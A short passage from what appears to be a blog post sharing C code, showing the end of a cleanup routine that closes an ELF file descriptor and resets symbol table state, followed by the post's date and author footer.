  if (elf_fd >= 0) {
    close(elf_fd);
    elf_fd = -1;
  }
  symtab_data = NULL;
  symtab_ndx = 0;
}

#endif
posted @ 2025-07-13 17:34  归海言诺  阅读(302)  评论(0)    收藏  举报